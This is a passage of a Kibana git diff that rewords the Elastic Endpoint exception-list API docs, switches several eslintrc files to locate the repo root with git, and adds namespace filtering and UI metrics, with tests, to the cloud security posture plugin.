a/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/api/update_endpoint_list_item/update_endpoint_list_item.schema.yaml +++ b/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/api/update_endpoint_list_item/update_endpoint_list_item.schema.yaml @@ -8,8 +8,8 @@ paths: x-labels: [serverless, ess] x-codegen-enabled: true operationId: UpdateEndpointListItem - summary: Update an endpoint exception list item - description: Update an endpoint exception list item using the `id` or `item_id` field. + summary: Update an Elastic Endpoint rule exception list item + description: Update an Elastic Endpoint exception list item, specified by the `id` or `item_id` field. requestBody: description: Exception list item's properties required: true diff --git a/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/docs/openapi/ess/security_solution_endpoint_exceptions_api_2023_10_31.bundled.schema.yaml b/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/docs/openapi/ess/security_solution_endpoint_exceptions_api_2023_10_31.bundled.schema.yaml index 92f60194938e9..ce5df63434956 100644 --- a/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/docs/openapi/ess/security_solution_endpoint_exceptions_api_2023_10_31.bundled.schema.yaml +++ b/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/docs/openapi/ess/security_solution_endpoint_exceptions_api_2023_10_31.bundled.schema.yaml @@ -14,9 +14,10 @@ paths: /api/endpoint_list: post: description: >- - Create an endpoint exception list, which groups endpoint exception list - items. If an endpoint exception list already exists, an empty response - is returned. + Create the exception list for Elastic Endpoint rule exceptions. When you + create the exception list, it will have a `list_id` of `endpoint_list`. + If the Elastic Endpoint exception list already exists, your request will + return an empty response. operationId: CreateEndpointList responses: '200': @@ -51,14 +52,14 @@ paths: schema: $ref: '#/components/schemas/SiemErrorResponse' description: Internal server error - summary: Create an endpoint exception list + summary: Create an Elastic Endpoint rule exception list tags: - Security Endpoint Exceptions API /api/endpoint_list/items: delete: description: >- - Delete an endpoint exception list item using the `id` or `item_id` - field. + Delete an Elastic Endpoint exception list item, specified by the `id` or + `item_id` field. operationId: DeleteEndpointListItem parameters: - description: Either `id` or `item_id` must be specified @@ -112,13 +113,13 @@ paths: schema: $ref: '#/components/schemas/SiemErrorResponse' description: Internal server error - summary: Delete an endpoint exception list item + summary: Delete an Elastic Endpoint exception list item tags: - Security Endpoint Exceptions API get: description: >- - Get the details of an endpoint exception list item using the `id` or - `item_id` field. + Get the details of an Elastic Endpoint exception list item, specified by + the `id` or `item_id` field. operationId: ReadEndpointListItem parameters: - description: Either `id` or `item_id` must be specified @@ -174,13 +175,13 @@ paths: schema: $ref: '#/components/schemas/SiemErrorResponse' description: Internal server error - summary: Get an endpoint exception list item + summary: Get an Elastic Endpoint rule exception list item tags: - Security Endpoint Exceptions API post: description: >- - Create an endpoint exception list item, and associate it with the - endpoint exception list. + Create an Elastic Endpoint exception list item, and associate it with + the Elastic Endpoint exception list. operationId: CreateEndpointListItem requestBody: content: @@ -255,13 +256,13 @@ paths: schema: $ref: '#/components/schemas/SiemErrorResponse' description: Internal server error - summary: Create an endpoint exception list item + summary: Create an Elastic Endpoint rule exception list item tags: - Security Endpoint Exceptions API put: description: >- - Update an endpoint exception list item using the `id` or `item_id` - field. + Update an Elastic Endpoint exception list item, specified by the `id` or + `item_id` field. operationId: UpdateEndpointListItem requestBody: content: @@ -341,12 +342,12 @@ paths: schema: $ref: '#/components/schemas/SiemErrorResponse' description: Internal server error - summary: Update an endpoint exception list item + summary: Update an Elastic Endpoint rule exception list item tags: - Security Endpoint Exceptions API /api/endpoint_list/items/_find: get: - description: Get a list of all endpoint exception list items. + description: Get a list of all Elastic Endpoint exception list items. operationId: FindEndpointListItems parameters: - description: > @@ -448,7 +449,7 @@ paths: schema: $ref: '#/components/schemas/SiemErrorResponse' description: Internal server error - summary: Get endpoint exception list items + summary: Get Elastic Endpoint exception list items tags: - Security Endpoint Exceptions API components: @@ -529,9 +530,7 @@ components: example: This list tracks allowlisted values. type: string ExceptionListHumanId: - description: >- - Exception list's human readable string identifier, e.g. - `trusted-linux-processes`. + description: The exception list's human readable string identifier, `endpoint_list`. example: simple_list format: nonempty minLength: 1 @@ -973,4 +972,4 @@ tags: exceptions to prevent a rule from generating an alert from incoming events even when the rule's other criteria are met. name: Security Endpoint Exceptions API - x-displayName: Security endpoint exceptions + x-displayName: Security Elastic Endpoint exceptions diff --git a/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/docs/openapi/serverless/security_solution_endpoint_exceptions_api_2023_10_31.bundled.schema.yaml b/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/docs/openapi/serverless/security_solution_endpoint_exceptions_api_2023_10_31.bundled.schema.yaml index 33a0034c48070..f347eb89214b7 100644 --- a/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/docs/openapi/serverless/security_solution_endpoint_exceptions_api_2023_10_31.bundled.schema.yaml +++ b/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/docs/openapi/serverless/security_solution_endpoint_exceptions_api_2023_10_31.bundled.schema.yaml @@ -14,9 +14,10 @@ paths: /api/endpoint_list: post: description: >- - Create an endpoint exception list, which groups endpoint exception list - items. If an endpoint exception list already exists, an empty response - is returned. + Create the exception list for Elastic Endpoint rule exceptions. When you + create the exception list, it will have a `list_id` of `endpoint_list`. + If the Elastic Endpoint exception list already exists, your request will + return an empty response. operationId: CreateEndpointList responses: '200': @@ -51,14 +52,14 @@ paths: schema: $ref: '#/components/schemas/SiemErrorResponse' description: Internal server error - summary: Create an endpoint exception list + summary: Create an Elastic Endpoint rule exception list tags: - Security Endpoint Exceptions API /api/endpoint_list/items: delete: description: >- - Delete an endpoint exception list item using the `id` or `item_id` - field. + Delete an Elastic Endpoint exception list item, specified by the `id` or + `item_id` field. operationId: DeleteEndpointListItem parameters: - description: Either `id` or `item_id` must be specified @@ -112,13 +113,13 @@ paths: schema: $ref: '#/components/schemas/SiemErrorResponse' description: Internal server error - summary: Delete an endpoint exception list item + summary: Delete an Elastic Endpoint exception list item tags: - Security Endpoint Exceptions API get: description: >- - Get the details of an endpoint exception list item using the `id` or - `item_id` field. + Get the details of an Elastic Endpoint exception list item, specified by + the `id` or `item_id` field. operationId: ReadEndpointListItem parameters: - description: Either `id` or `item_id` must be specified @@ -174,13 +175,13 @@ paths: schema: $ref: '#/components/schemas/SiemErrorResponse' description: Internal server error - summary: Get an endpoint exception list item + summary: Get an Elastic Endpoint rule exception list item tags: - Security Endpoint Exceptions API post: description: >- - Create an endpoint exception list item, and associate it with the - endpoint exception list. + Create an Elastic Endpoint exception list item, and associate it with + the Elastic Endpoint exception list. operationId: CreateEndpointListItem requestBody: content: @@ -255,13 +256,13 @@ paths: schema: $ref: '#/components/schemas/SiemErrorResponse' description: Internal server error - summary: Create an endpoint exception list item + summary: Create an Elastic Endpoint rule exception list item tags: - Security Endpoint Exceptions API put: description: >- - Update an endpoint exception list item using the `id` or `item_id` - field. + Update an Elastic Endpoint exception list item, specified by the `id` or + `item_id` field. operationId: UpdateEndpointListItem requestBody: content: @@ -341,12 +342,12 @@ paths: schema: $ref: '#/components/schemas/SiemErrorResponse' description: Internal server error - summary: Update an endpoint exception list item + summary: Update an Elastic Endpoint rule exception list item tags: - Security Endpoint Exceptions API /api/endpoint_list/items/_find: get: - description: Get a list of all endpoint exception list items. + description: Get a list of all Elastic Endpoint exception list items. operationId: FindEndpointListItems parameters: - description: > @@ -448,7 +449,7 @@ paths: schema: $ref: '#/components/schemas/SiemErrorResponse' description: Internal server error - summary: Get endpoint exception list items + summary: Get Elastic Endpoint exception list items tags: - Security Endpoint Exceptions API components: @@ -529,9 +530,7 @@ components: example: This list tracks allowlisted values. type: string ExceptionListHumanId: - description: >- - Exception list's human readable string identifier, e.g. - `trusted-linux-processes`. + description: The exception list's human readable string identifier, `endpoint_list`. example: simple_list format: nonempty minLength: 1 @@ -973,4 +972,4 @@ tags: exceptions to prevent a rule from generating an alert from incoming events even when the rule's other criteria are met. name: Security Endpoint Exceptions API - x-displayName: Security endpoint exceptions + x-displayName: Security Elastic Endpoint exceptions diff --git a/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/scripts/openapi_bundle.js b/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/scripts/openapi_bundle.js index c54e162b6462e..c7d0bd2ddbc89 100644 --- a/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/scripts/openapi_bundle.js +++ b/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/scripts/openapi_bundle.js @@ -29,7 +29,7 @@ const ROOT = resolve(__dirname, '..'); tags: [ { name: 'Security Endpoint Exceptions API', - 'x-displayName': 'Security endpoint exceptions', + 'x-displayName': 'Security Elastic Endpoint exceptions', description: "Endpoint Exceptions API allows you to manage detection rule endpoint exceptions to prevent a rule from generating an alert from incoming events even when the rule's other criteria are met.", }, @@ -54,7 +54,7 @@ const ROOT = resolve(__dirname, '..'); tags: [ { name: 'Security Endpoint Exceptions API', - 'x-displayName': 'Security endpoint exceptions', + 'x-displayName': 'Security Elastic Endpoint exceptions', description: "Endpoint Exceptions API allows you to manage detection rule endpoint exceptions to prevent a rule from generating an alert from incoming events even when the rule's other criteria are met.", }, diff --git a/x-pack/solutions/security/packages/kbn-securitysolution-exceptions-common/api/model/exception_list_common.gen.ts b/x-pack/solutions/security/packages/kbn-securitysolution-exceptions-common/api/model/exception_list_common.gen.ts index 1f4e41bdce711..e2d4b402c11de 100644 --- a/x-pack/solutions/security/packages/kbn-securitysolution-exceptions-common/api/model/exception_list_common.gen.ts +++ b/x-pack/solutions/security/packages/kbn-securitysolution-exceptions-common/api/model/exception_list_common.gen.ts @@ -27,7 +27,7 @@ export type ExceptionListId = z.infer; export const ExceptionListId = z.string().min(1).superRefine(isNonEmptyString); /** - * Exception list's human readable string identifier, e.g. `trusted-linux-processes`. + * The exception list's human readable string identifier, `endpoint_list`. */ export type ExceptionListHumanId = z.infer; export const ExceptionListHumanId = z.string().min(1).superRefine(isNonEmptyString); diff --git a/x-pack/solutions/security/packages/kbn-securitysolution-exceptions-common/api/model/exception_list_common.schema.yaml b/x-pack/solutions/security/packages/kbn-securitysolution-exceptions-common/api/model/exception_list_common.schema.yaml index e1c2a9088e2a9..6f445bbc25d78 100644 --- a/x-pack/solutions/security/packages/kbn-securitysolution-exceptions-common/api/model/exception_list_common.schema.yaml +++ b/x-pack/solutions/security/packages/kbn-securitysolution-exceptions-common/api/model/exception_list_common.schema.yaml @@ -17,7 +17,7 @@ components: type: string minLength: 1 format: nonempty - description: Exception list's human readable string identifier, e.g. `trusted-linux-processes`. + description: The exception list's human readable string identifier, `endpoint_list`. example: 'simple_list' ExceptionListType: diff --git a/x-pack/solutions/security/packages/kbn-securitysolution-exceptions-common/docs/openapi/ess/security_solution_exceptions_api_2023_10_31.bundled.schema.yaml b/x-pack/solutions/security/packages/kbn-securitysolution-exceptions-common/docs/openapi/ess/security_solution_exceptions_api_2023_10_31.bundled.schema.yaml index d204554b865da..b8150110f0510 100644 --- a/x-pack/solutions/security/packages/kbn-securitysolution-exceptions-common/docs/openapi/ess/security_solution_exceptions_api_2023_10_31.bundled.schema.yaml +++ b/x-pack/solutions/security/packages/kbn-securitysolution-exceptions-common/docs/openapi/ess/security_solution_exceptions_api_2023_10_31.bundled.schema.yaml @@ -2869,9 +2869,7 @@ components: example: This list tracks allowlisted values. type: string ExceptionListHumanId: - description: >- - Exception list's human readable string identifier, e.g. - `trusted-linux-processes`. + description: The exception list's human readable string identifier, `endpoint_list`. example: simple_list format: nonempty minLength: 1 diff --git a/x-pack/solutions/security/packages/kbn-securitysolution-exceptions-common/docs/openapi/serverless/security_solution_exceptions_api_2023_10_31.bundled.schema.yaml b/x-pack/solutions/security/packages/kbn-securitysolution-exceptions-common/docs/openapi/serverless/security_solution_exceptions_api_2023_10_31.bundled.schema.yaml index 98bff7145de56..b42b1f64de794 100644 --- a/x-pack/solutions/security/packages/kbn-securitysolution-exceptions-common/docs/openapi/serverless/security_solution_exceptions_api_2023_10_31.bundled.schema.yaml +++ b/x-pack/solutions/security/packages/kbn-securitysolution-exceptions-common/docs/openapi/serverless/security_solution_exceptions_api_2023_10_31.bundled.schema.yaml @@ -2869,9 +2869,7 @@ components: example: This list tracks allowlisted values. type: string ExceptionListHumanId: - description: >- - Exception list's human readable string identifier, e.g. - `trusted-linux-processes`. + description: The exception list's human readable string identifier, `endpoint_list`. example: simple_list format: nonempty minLength: 1 diff --git a/x-pack/solutions/security/packages/navigation/.eslintrc.js b/x-pack/solutions/security/packages/navigation/.eslintrc.js index cee2d528612a7..e8df76cf42c45 100644 --- a/x-pack/solutions/security/packages/navigation/.eslintrc.js +++ b/x-pack/solutions/security/packages/navigation/.eslintrc.js @@ -68,19 +68,25 @@ // eslint-disable-next-line import/no-nodejs-modules const path = require('path'); +// eslint-disable-next-line import/no-nodejs-modules +const { execSync } = require('child_process'); + const minimatch = require('minimatch'); /** @type {Array.} */ -const RESTRICTED_IMPORTS = [ +const RESTRICTED_IMPORTS_PATHS = [ { name: 'enzyme', message: 'Please use @testing-library/react instead', }, ]; -// root directory of the project dynamically calculated -const ROOT_DIR = process.cwd(); -const ROOT_CLIMB_STRING = path.relative(__dirname, ROOT_DIR); // e.g. ../../../../.. +const ROOT_DIR = execSync('git rev-parse --show-toplevel', { + encoding: 'utf8', + cwd: __dirname, +}).trim(); + +const ROOT_CLIMB_STRING = path.relative(__dirname, ROOT_DIR); // i.e. '../../..' /** @type {import('eslint').Linter.Config} */ const rootConfig = require(`${ROOT_CLIMB_STRING}/.eslintrc`); // eslint-disable-line import/no-dynamic-require @@ -114,7 +120,7 @@ for (const override of overridesWithNoRestrictedImportRule) { // Dynamic duplicates removal for all restricted imports const existingPaths = modernConfig.paths.filter( (existing) => - !RESTRICTED_IMPORTS.some((restriction) => + !RESTRICTED_IMPORTS_PATHS.some((restriction) => typeof existing === 'string' ? existing === restriction.name : existing.name === restriction.name @@ -125,7 +131,7 @@ for (const override of overridesWithNoRestrictedImportRule) { const newRuleConfig = [ severity, { - paths: [...existingPaths, ...RESTRICTED_IMPORTS], + paths: [...existingPaths, ...RESTRICTED_IMPORTS_PATHS], patterns: modernConfig.patterns, }, ]; diff --git a/x-pack/solutions/security/packages/security-ai-prompts/src/saved_object_mappings.ts b/x-pack/solutions/security/packages/security-ai-prompts/src/saved_object_mappings.ts index 73e2d19f2c7bb..9bf9852e8fa12 100644 --- a/x-pack/solutions/security/packages/security-ai-prompts/src/saved_object_mappings.ts +++ b/x-pack/solutions/security/packages/security-ai-prompts/src/saved_object_mappings.ts @@ -45,7 +45,7 @@ export const promptType: SavedObjectsType = { hidden: false, management: { importableAndExportable: true, - visibleInManagement: true, // <--show in management + visibleInManagement: false, // <--hide in management }, namespaceType: 'agnostic', mappings: promptSavedObjectMappings, diff --git a/x-pack/solutions/security/packages/side-nav/.eslintrc.js b/x-pack/solutions/security/packages/side-nav/.eslintrc.js index cee2d528612a7..e8df76cf42c45 100644 --- a/x-pack/solutions/security/packages/side-nav/.eslintrc.js +++ b/x-pack/solutions/security/packages/side-nav/.eslintrc.js @@ -68,19 +68,25 @@ // eslint-disable-next-line import/no-nodejs-modules const path = require('path'); +// eslint-disable-next-line import/no-nodejs-modules +const { execSync } = require('child_process'); + const minimatch = require('minimatch'); /** @type {Array.} */ -const RESTRICTED_IMPORTS = [ +const RESTRICTED_IMPORTS_PATHS = [ { name: 'enzyme', message: 'Please use @testing-library/react instead', }, ]; -// root directory of the project dynamically calculated -const ROOT_DIR = process.cwd(); -const ROOT_CLIMB_STRING = path.relative(__dirname, ROOT_DIR); // e.g. ../../../../.. +const ROOT_DIR = execSync('git rev-parse --show-toplevel', { + encoding: 'utf8', + cwd: __dirname, +}).trim(); + +const ROOT_CLIMB_STRING = path.relative(__dirname, ROOT_DIR); // i.e. '../../..' /** @type {import('eslint').Linter.Config} */ const rootConfig = require(`${ROOT_CLIMB_STRING}/.eslintrc`); // eslint-disable-line import/no-dynamic-require @@ -114,7 +120,7 @@ for (const override of overridesWithNoRestrictedImportRule) { // Dynamic duplicates removal for all restricted imports const existingPaths = modernConfig.paths.filter( (existing) => - !RESTRICTED_IMPORTS.some((restriction) => + !RESTRICTED_IMPORTS_PATHS.some((restriction) => typeof existing === 'string' ? existing === restriction.name : existing.name === restriction.name @@ -125,7 +131,7 @@ for (const override of overridesWithNoRestrictedImportRule) { const newRuleConfig = [ severity, { - paths: [...existingPaths, ...RESTRICTED_IMPORTS], + paths: [...existingPaths, ...RESTRICTED_IMPORTS_PATHS], patterns: modernConfig.patterns, }, ]; diff --git a/x-pack/solutions/security/packages/upselling/.eslintrc.js b/x-pack/solutions/security/packages/upselling/.eslintrc.js index cee2d528612a7..e8df76cf42c45 100644 --- a/x-pack/solutions/security/packages/upselling/.eslintrc.js +++ b/x-pack/solutions/security/packages/upselling/.eslintrc.js @@ -68,19 +68,25 @@ // eslint-disable-next-line import/no-nodejs-modules const path = require('path'); +// eslint-disable-next-line import/no-nodejs-modules +const { execSync } = require('child_process'); + const minimatch = require('minimatch'); /** @type {Array.} */ -const RESTRICTED_IMPORTS = [ +const RESTRICTED_IMPORTS_PATHS = [ { name: 'enzyme', message: 'Please use @testing-library/react instead', }, ]; -// root directory of the project dynamically calculated -const ROOT_DIR = process.cwd(); -const ROOT_CLIMB_STRING = path.relative(__dirname, ROOT_DIR); // e.g. ../../../../.. +const ROOT_DIR = execSync('git rev-parse --show-toplevel', { + encoding: 'utf8', + cwd: __dirname, +}).trim(); + +const ROOT_CLIMB_STRING = path.relative(__dirname, ROOT_DIR); // i.e. '../../..' /** @type {import('eslint').Linter.Config} */ const rootConfig = require(`${ROOT_CLIMB_STRING}/.eslintrc`); // eslint-disable-line import/no-dynamic-require @@ -114,7 +120,7 @@ for (const override of overridesWithNoRestrictedImportRule) { // Dynamic duplicates removal for all restricted imports const existingPaths = modernConfig.paths.filter( (existing) => - !RESTRICTED_IMPORTS.some((restriction) => + !RESTRICTED_IMPORTS_PATHS.some((restriction) => typeof existing === 'string' ? existing === restriction.name : existing.name === restriction.name @@ -125,7 +131,7 @@ for (const override of overridesWithNoRestrictedImportRule) { const newRuleConfig = [ severity, { - paths: [...existingPaths, ...RESTRICTED_IMPORTS], + paths: [...existingPaths, ...RESTRICTED_IMPORTS_PATHS], patterns: modernConfig.patterns, }, ]; diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/common/experimental_features.ts b/x-pack/solutions/security/plugins/cloud_security_posture/common/experimental_features.ts index 50f7c30465b39..b274a4fd01c3e 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/common/experimental_features.ts +++ b/x-pack/solutions/security/plugins/cloud_security_posture/common/experimental_features.ts @@ -20,10 +20,6 @@ export const allowedExperimentalValues = Object.freeze({ * Enables cloud Connectors for Cloud Security Posture */ cloudConnectorsEnabled: false, - /** - * Enables Cloud Security Posture integration namespace support - */ - cloudSecurityNamespaceSupportEnabled: false, }); type ExperimentalConfigKeys = Array; diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/common/component/multi_select_filter.tsx b/x-pack/solutions/security/plugins/cloud_security_posture/public/common/component/multi_select_filter.tsx index ecc5edcbf2e73..388bb30bb62c7 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/public/common/component/multi_select_filter.tsx +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/common/component/multi_select_filter.tsx @@ -108,11 +108,7 @@ export const MultiSelectFilter = ({ }; return ( - + ({ compressed: false, 'data-test-subj': `${id}-search-input`, css: css` - border-radius: 0px !important; + box-shadow: none; `, }} emptyMessage={'empty'} diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/common/constants.ts b/x-pack/solutions/security/plugins/cloud_security_posture/public/common/constants.ts index 0f96b4df62d8b..ecf6c92a02e87 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/public/common/constants.ts +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/common/constants.ts @@ -196,6 +196,7 @@ export const VULNERABILITY_FIELDS = { PACKAGE_VERSION: 'package.version', PACKAGE_FIXED_VERSION: 'package.fixed_version', CLOUD_ACCOUNT_NAME: 'cloud.account.name', + CLOUD_ACCOUNT_ID: 'cloud.account.id', CLOUD_PROVIDER: 'cloud.provider', DESCRIPTION: 'vulnerability.description', VENDOR: 'observer.vendor', @@ -203,12 +204,21 @@ export const VULNERABILITY_FIELDS = { export const VULNERABILITY_GROUPING_OPTIONS = { NONE: 'none', - RESOURCE_NAME: VULNERABILITY_FIELDS.RESOURCE_NAME, RESOURCE_ID: VULNERABILITY_FIELDS.RESOURCE_ID, - CLOUD_ACCOUNT_NAME: VULNERABILITY_FIELDS.CLOUD_ACCOUNT_NAME, + CLOUD_ACCOUNT_ID: VULNERABILITY_FIELDS.CLOUD_ACCOUNT_ID, CVE: VULNERABILITY_FIELDS.VULNERABILITY_ID, } as const; +export const FINDINGS_FILTER_OPTIONS = { + CLOUD_PROVIDER: 'cloud.provider', + NAMESPACE: 'data_stream.namespace', + RULE_BENCHMARK_ID: 'rule.benchmark.id', + RULE_BENCHMARK_POSTURE_TYPE: 'rule.benchmark.posture_type', + RULE_BENCHMARK_VERSION: 'rule.benchmark.version', + RESULT_EVALUATION: 'result.evaluation', + RULE_SECTION: 'rule.section', +} as const; + /* * ECS schema unique field to describe the event * https://www.elastic.co/guide/en/ecs/current/ecs-event.html diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/common/hooks/use_active_namespace.test.ts b/x-pack/solutions/security/plugins/cloud_security_posture/public/common/hooks/use_active_namespace.test.ts new file mode 100644 index 0000000000000..dffef33380726 --- /dev/null +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/common/hooks/use_active_namespace.test.ts @@ -0,0 +1,59 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ +import { renderHook, act } from '@testing-library/react'; +import { useActiveNamespace } from './use_active_namespace'; + +import { LOCAL_STORAGE_NAMESPACE_KEY } from '../constants'; + +describe('useActiveNamespace', () => { + it('should return the active namespace from local storage for CSPM', () => { + const { result } = renderHook(() => useActiveNamespace({ postureType: 'cspm' })); + expect(result.current).toEqual({ + activeNamespace: 'default', + updateActiveNamespace: expect.any(Function), + }); + }); + + it('should update the active namespace and local storage when updateActiveNamespace is called with CSPM', async () => { + const postureType = 'cspm'; + const CSPM_NAMESPACE_LOCAL_STORAGE_KEY = `${LOCAL_STORAGE_NAMESPACE_KEY}:${postureType}`; + const { result } = renderHook(() => useActiveNamespace({ postureType })); + const newNamespace = 'test-namespace'; + + act(() => { + result.current.updateActiveNamespace(newNamespace); + }); + + expect(result.current.activeNamespace).toBe(newNamespace); + expect(localStorage.getItem(CSPM_NAMESPACE_LOCAL_STORAGE_KEY)).toBe( + JSON.stringify(newNamespace) + ); + }); + + it('should return the active namespace from local storage for KSPM', () => { + const { result } = renderHook(() => useActiveNamespace({ postureType: 'kspm' })); + expect(result.current).toEqual({ + activeNamespace: 'default', + updateActiveNamespace: expect.any(Function), + }); + }); + it('should update the active namespace and local storage when updateActiveNamespace is called with KSPM', async () => { + const postureType = 'kspm'; + const KSPM_NAMESPACE_LOCAL_STORAGE_KEY = `${LOCAL_STORAGE_NAMESPACE_KEY}:${postureType}`; + const { result } = renderHook(() => useActiveNamespace({ postureType })); + const newNamespace = 'test-namespace'; + + act(() => { + result.current.updateActiveNamespace(newNamespace); + }); + + expect(result.current.activeNamespace).toBe(newNamespace); + expect(localStorage.getItem(KSPM_NAMESPACE_LOCAL_STORAGE_KEY)).toBe( + JSON.stringify(newNamespace) + ); + }); +}); diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/common/hooks/use_active_namespace.ts b/x-pack/solutions/security/plugins/cloud_security_posture/public/common/hooks/use_active_namespace.ts index f4b1e6d41f2f5..fea92ced7b874 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/public/common/hooks/use_active_namespace.ts +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/common/hooks/use_active_namespace.ts @@ -7,9 +7,15 @@ import { useState, useCallback } from 'react'; import useLocalStorage from 'react-use/lib/useLocalStorage'; +import { + CSPM_NAMESPACE_SELECTOR, + KSPM_NAMESPACE_SELECTOR, + uiMetricService, +} from '@kbn/cloud-security-posture-common/utils/ui_metrics'; +import { METRIC_TYPE } from '@kbn/analytics'; import { LOCAL_STORAGE_NAMESPACE_KEY, DEFAULT_NAMESPACE } from '../constants'; -export const useActiveNamespace = ({ postureType }: { postureType?: 'cspm' | 'kspm' }) => { +export const useActiveNamespace = ({ postureType }: { postureType: 'cspm' | 'kspm' }) => { const [localStorageActiveNamespace, localStorageSetActiveNamespace] = useLocalStorage( `${LOCAL_STORAGE_NAMESPACE_KEY}:${postureType}`, DEFAULT_NAMESPACE @@ -22,8 +28,10 @@ export const useActiveNamespace = ({ postureType }: { postureType?: 'cspm' | 'ks (namespace: string) => { setActiveNamespaceState(namespace); localStorageSetActiveNamespace(namespace); + const metric = postureType === 'cspm' ? CSPM_NAMESPACE_SELECTOR : KSPM_NAMESPACE_SELECTOR; + uiMetricService.trackUiMetric(METRIC_TYPE.CLICK, metric); }, - [localStorageSetActiveNamespace] + [localStorageSetActiveNamespace, postureType] ); return { activeNamespace, updateActiveNamespace }; }; diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/components/accounts_evaluated_widget.test.tsx b/x-pack/solutions/security/plugins/cloud_security_posture/public/components/accounts_evaluated_widget.test.tsx index 470a04e402489..d1c257fd8f88e 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/public/components/accounts_evaluated_widget.test.tsx +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/components/accounts_evaluated_widget.test.tsx @@ -10,6 +10,7 @@ import { render, fireEvent } from '@testing-library/react'; import { AccountsEvaluatedWidget } from './accounts_evaluated_widget'; import { BenchmarkData } from '../../common/types_old'; import { TestProvider } from '../test/test_provider'; +import { FINDINGS_FILTER_OPTIONS, FINDINGS_GROUPING_OPTIONS } from '../common/constants'; const mockNavToFindings = jest.fn(); jest.mock('@kbn/cloud-security-posture/src/hooks/use_navigate_findings', () => ({ @@ -44,10 +45,10 @@ describe('AccountsEvaluatedWidget', () => { expect(mockNavToFindings).toHaveBeenCalledWith( { - 'cloud.provider': 'aws', - 'rule.benchmark.posture_type': 'cspm', + [FINDINGS_FILTER_OPTIONS.CLOUD_PROVIDER]: 'aws', + [FINDINGS_FILTER_OPTIONS.RULE_BENCHMARK_POSTURE_TYPE]: 'cspm', }, - ['cloud.account.id'] + [FINDINGS_GROUPING_OPTIONS.CLOUD_ACCOUNT_ID] ); }); @@ -62,9 +63,31 @@ describe('AccountsEvaluatedWidget', () => { expect(mockNavToFindings).toHaveBeenCalledWith( { - 'rule.benchmark.id': 'cis_k8s', + [FINDINGS_FILTER_OPTIONS.RULE_BENCHMARK_ID]: 'cis_k8s', }, - ['orchestrator.cluster.id'] + [FINDINGS_GROUPING_OPTIONS.ORCHESTRATOR_CLUSTER_ID] + ); + }); + + it('calls navToFindingsByCisBenchmark when a benchmark with benchmarkId and namespace is clicked', () => { + const { getByText } = render( + + + + ); + + fireEvent.click(getByText('20')); + + expect(mockNavToFindings).toHaveBeenCalledWith( + { + [FINDINGS_FILTER_OPTIONS.RULE_BENCHMARK_ID]: 'cis_k8s', + [FINDINGS_FILTER_OPTIONS.NAMESPACE]: 'test-namespace', + }, + [FINDINGS_GROUPING_OPTIONS.ORCHESTRATOR_CLUSTER_ID] ); }); }); diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/components/accounts_evaluated_widget.tsx b/x-pack/solutions/security/plugins/cloud_security_posture/public/components/accounts_evaluated_widget.tsx index 80716efd98690..11eb4b001a029 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/public/components/accounts_evaluated_widget.tsx +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/components/accounts_evaluated_widget.tsx @@ -14,7 +14,7 @@ import { CIS_AWS, CIS_GCP, CIS_AZURE, CIS_K8S, CIS_EKS } from '../../common/cons import { CISBenchmarkIcon } from './cis_benchmark_icon'; import { CompactFormattedNumber } from './compact_formatted_number'; import { BenchmarkData } from '../../common/types_old'; -import { FINDINGS_GROUPING_OPTIONS } from '../common/constants'; +import { FINDINGS_GROUPING_OPTIONS, FINDINGS_FILTER_OPTIONS } from '../common/constants'; // order in array will determine order of appearance in the dashboard const benchmarks = [ @@ -46,9 +46,11 @@ const benchmarks = [ ]; export const AccountsEvaluatedWidget = ({ + activeNamespace, benchmarkAssets, benchmarkAbbreviateAbove = 999, }: { + activeNamespace?: string; benchmarkAssets: BenchmarkData[]; /** numbers higher than the value of this field will be abbreviated using compact notation and have a tooltip displaying the full value */ benchmarkAbbreviateAbove?: number; @@ -63,15 +65,29 @@ export const AccountsEvaluatedWidget = ({ const navToFindingsByCloudProvider = (provider: string) => { navToFindings( - { 'cloud.provider': provider, 'rule.benchmark.posture_type': CSPM_POLICY_TEMPLATE }, + activeNamespace + ? { + [FINDINGS_FILTER_OPTIONS.NAMESPACE]: activeNamespace, + [FINDINGS_FILTER_OPTIONS.CLOUD_PROVIDER]: provider, + } + : { + [FINDINGS_FILTER_OPTIONS.CLOUD_PROVIDER]: provider, + [FINDINGS_FILTER_OPTIONS.RULE_BENCHMARK_POSTURE_TYPE]: CSPM_POLICY_TEMPLATE, + }, [FINDINGS_GROUPING_OPTIONS.CLOUD_ACCOUNT_ID] ); }; const navToFindingsByCisBenchmark = (cisBenchmark: string) 